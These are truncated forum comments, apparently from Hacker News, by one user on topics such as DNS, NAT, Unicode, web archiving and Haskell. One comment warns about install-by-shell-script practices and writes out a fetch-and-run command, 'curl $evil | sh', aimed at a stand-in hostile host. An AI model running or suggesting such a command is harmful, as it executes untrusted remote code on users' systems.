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by joeyh 16y ago
For maximum safety from registrar screwing up, don't put your main domain name in the glue records either, just ns1.example.com. But, it appears to be in the registrar's best interest to not encourage users to run their own DNS server -- as
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by joeyh 16y ago
Happy thank-goodness-I-removed-flash day. One of the best holidays, since I get to celebrate it so many times a year..
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by joeyh 16y ago
I think there's a reason most free software projects are still developed on mailing lists. It's not just inertia, lists avoid many of these problems and the problems they do have are well-understood by now and mostly easy to deal with.
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by joeyh 16y ago
So, I'm pretty sure I've heard people involved in carrier-grade NAT, NAT444, etc discussing what they have to in order to comply with requirements that IP:port tuples be usable to track back to their customers.. Nice try at a silver lining
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by joeyh 16y ago
So, Avery is just this guy, you know? It's not his fault if some of you want to fanboy on his every blog post. I think he's right more often than he's wrong. (Although not in this article, which is nearly all wrong when it's not rehashing p
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by joeyh 16y ago
Anyone else disappointed that this was not about machine translation of Haskell to Javascript, with some sort of DOM monad? While Haskell -> Javascript has been done before, all the examples seem toys without a rich integration into the
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by joeyh 16y ago
Does an implementation of Venti exist? I'd bet on git. It has the mind-share already. Now, I can already run "webcheckout $url" and get a git repository for any of the websites I run, as well as all of the wikis and blogs of customers at my
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by joeyh 16y ago
So, that sounds fairly similar to "unicode in $arbitrary_language": Unicode is supported internally; there is still complexity associated in getting data decoded/encoded when bringing it in/out; new versions of the language are working to r
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by joeyh 16y ago
I'd not expect any of these sites to be heavily trafficed going forward, so my guess: $5/month. Note that large portions of geocities are being hosted on the web by various parties, most of whom are apparently using pizza money to do it. Ge
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by joeyh 16y ago
The BBC has stored at least some of if in an archive in cooperation with the British Library. I've posted a link to an earlier article; you can find it by browsing some of the "TLDs" they're removing. (BTW, did anyone notice that the BBC ca
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by joeyh 16y ago
We've had hashbangs in Unix for 30 years, and while they were not entirely perfect (bit of a violation of the kernel/userspace boundry going on; issues with suid), they've been good to us. It's really highly annoying that this good old thin
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by joeyh 16y ago
I am not observing DST this winter. When living off the grid on solar power, messing with the time the sun is up is annoying. It's been working out well enough for me. Did a custom DST-less EST timezone. http://kitenet.net/~joey/blog/entry
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by joeyh 16y ago
The WW2 People's War site that this article highlighted as particularly bad to lose has in fact already been archived by the British Library: http://www.webarchive.org.uk/ukwa/target/114827/source/searc...
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by joeyh 16y ago
To quote the first comment from LWN: " I've seen situations where the same (src ip, src port, dest ip, dest port) are reused within 3 seconds of the FIN from the first connection coming past. A large corporation NATted behind a single IP."
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by joeyh 16y ago
So, in summary, we've made counting on computers so complex that we're still failing to get it right. Similarly to how we've made the alphabet (unicode) on computers so complex that most programs are still trying to get that right.
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by joeyh 16y ago
As a data black hole, presumably.
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by joeyh 16y ago
Weird that he says Geocities was part of AOL. AFAIK, they were never corporately connected.
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by joeyh 16y ago
Always. (But with the right mouse button, shortly before selecting "Adblock".)
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by joeyh 16y ago
In my experience, fully localizing a piece of software tends to lead to one of the most complex and fragile parts of its build system (especially if its documentation is localized too), often takes an appreciable amount of its total build t
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by joeyh 16y ago
Along those lines, I've been playing recently with using the google ngram data for markov chaining. The size of the corpus allows using 5grams without the problem of seeing text that has actually been written before (mostly.. it could just
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by joeyh 16y ago
I wonder which order you read the thread in? I read it backwards originally.
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by joeyh 16y ago
It would provide a way to compare that 10k people liked article A, while only 3 liked article B. In many ways that is a more interesting part of Flattr than the money itself.
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by joeyh 16y ago
In my experience the rate of flattr donations is not very bursty month over month. Even before they allowed to subscribe to continue re-flattring a Thing each month. And of course I have lower volumes than wikipedia would, so I'd expect it
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by joeyh 16y ago
90% of users won't read a script if you ask them to. 9% of users will read the script but won't notice my carefully concieled exploit code -- because my exploit code is just another seemingly innocent "curl $evil | sh" And if 99% isn't enou
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by joeyh 16y ago
Are you seriously suggesting using a a package system that is bootstrapped by downloading and running a shell script with no security protections whatsoever? Moreover, it's not just you giving a bad example, as the shell script then clones
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by joeyh 16y ago
The canonical one is called "rss2email"
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by joeyh 16y ago
"The entire free software movement, in my opinion, stems from just a few successful companies who utilized the freemium model" Now I need only to find a way to attach RMS, not yet even in his grave, to a suitable turbine..
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by joeyh 16y ago
Wow, I'd forgotten how cheerful Ebay used to look. Almost makes one want to use it..
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by joeyh 16y ago
And a haskell version (not the shortest possible one): takeWhile (< 100) fibs where fibs = 0 : 1 : zipWith (+) fibs $ tail fibs I don't think fibs can be expressed as a list comprehension in haskell, can it? It's cute tha
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by joeyh 16y ago
Telah Foundation aka Mark King.

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